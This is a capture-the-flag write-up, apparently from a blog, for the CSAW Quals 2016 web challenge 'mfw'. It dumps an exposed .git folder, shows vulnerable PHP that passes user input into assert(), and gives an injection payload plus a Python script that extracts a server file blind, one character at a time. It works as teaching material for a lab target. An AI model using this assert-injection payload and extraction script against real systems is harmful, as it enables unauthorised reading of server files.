[CSAW Quals 2016] [WEB 125 – mfw] Write Up

Description

Hey, I made my first website today.
It’s pretty cool and web 7.9.
http://web.chal.csaw.io:8000/

Resolution

The beginning of this challenge was pretty classic. We’re facing a very little and basic bootstrap website.
In order to navigate through the pages, the GET parameter page is given. Let’s see what do those pages contain.

About

I wrote this website all by myself in under a week!
I used:

  • Git
  • PHP
  • Bootstrap

Okay, so there surely is a .git folder at the root of the domain. Let’s retreive all the data we can using dvcs-ripper.

$ dvcs-ripper/rip-git.pl -u http://web.chal.csaw.io:8000/.git/
[i] Using session name: JYFKgDXf
Vérification des répertoires d'objet: 100% (256/256), fait.
error: 8210d71b1dd2eb344913c63058ce0cabc3bdb504: invalid sha1 pointer in cache-tree
Vérification des répertoires d'objet: 100% (256/256), fait.
error: eb22ab3279ea06d7cf0c5f75787d828facc9d55b: invalid sha1 pointer in cache-tree
Vérification des répertoires d'objet: 100% (256/256), fait.
[!] No more items to fetch. That's it!
$ l
drwxr-xr-x  6 vic511 vic511 4,0K sept. 19 19:40 .git
-rw-r--r--  1 vic511 vic511 2,2K sept. 19 19:40 index.php
drwxr-xr-x  2 vic511 vic511 4,0K sept. 19 19:40 templates

Alright ! We have the one and only php page we should be able to access (the others are in the templates/ directory). Let’s check what’s wrong in this code.

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<!-- ... -->
<!--
<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li>

 -->
<!-- ... -->
<?php require_once $file; ?>

Okay, so we’re able to inject in the assert function. We have to retreive the content of the file located at templates/flag.php, and we are able to inject some code in two assert calls.
I’ve been trying to execute some code, the way an injection in eval should be done, for example:
', '.');echo file_get_contents('templates/flag.php');strpos('l
Anyways, I couldn’t retrieve any output.

I thought of another way of exploiting this vulnerability. We can see if the first assert statement fails, then it displays Detected hacking attempt!. If the second fails, it is That file doesn't exist!. If they both succeed, then the normal page is rendered.

My way of retrieving the flag was based on whether or not those assertions failed, using what would display the page. This is very similar to a blind SQL injection.

Here is the payload I used:

','.')===false&&(substr(file_get_contents('templates/flag.php'),{index},1)==chr({char}))&&strpos('

For the first assertion, it results in:

strpos('', '.') === false && (substr(file_get_contents('templates/flag.php'), {index}, 1) == chr({char})) && strpos('', '..') === false

The second one is:

file_exists('', '.') === false && (substr(file_get_contents('templates/flag.php'), {index}, 1) == chr({char})) && strpos('')

We are here trying to recover the content of templates/flag.php char by char. If the first assertion succeeds, then we have the right char, and the second assertion will fail, displaying That file doesn't exist!. Let’s automate this !

#!/usr/bin/env python
# coding: utf-8

import sys
import requests
from urllib import quote
from string import printable

url = "http://web.chal.csaw.io:8000/?page=%s"
template = "','.')===false&&(substr(file_get_contents('templates/flag.php'),%d,1)==chr(%d))&&strpos('"

def dynout(s): # homemade dynamic displaying function
    sys.stdout.write("\r" + " " * dynout.last)
    sys.stdout.write("\r" + s)
    sys.stdout.flush()
    dynout.last = len(s)
dynout.last = 0

def makeReq(payload):
    return requests.get(url % (quote(payload)))

flag = '<?php ' # we know it starts with this string
index = len(flag)
while True:
    for c in printable: # test every printable char
        dynout((flag + c).encode("string_escape"))
        req = makeReq(template % (index, ord(c)))
        if "That file doesn't exist!" in req.content: # right guess!
            flag += c
            break
    index += 1
    if len(flag) != index: # we retrieved everything
        break

dynout(flag) # display what we have

This gives us:

 $ ./blind.py 
<?php $FLAG="flag{3vald_@ss3rt_1s_best_a$$ert}"; ?>

Nice! The flag is flag{3vald_@ss3rt_1s_best_a$$ert} !

Leave a Reply

Your email address will not be published. Required fields are marked *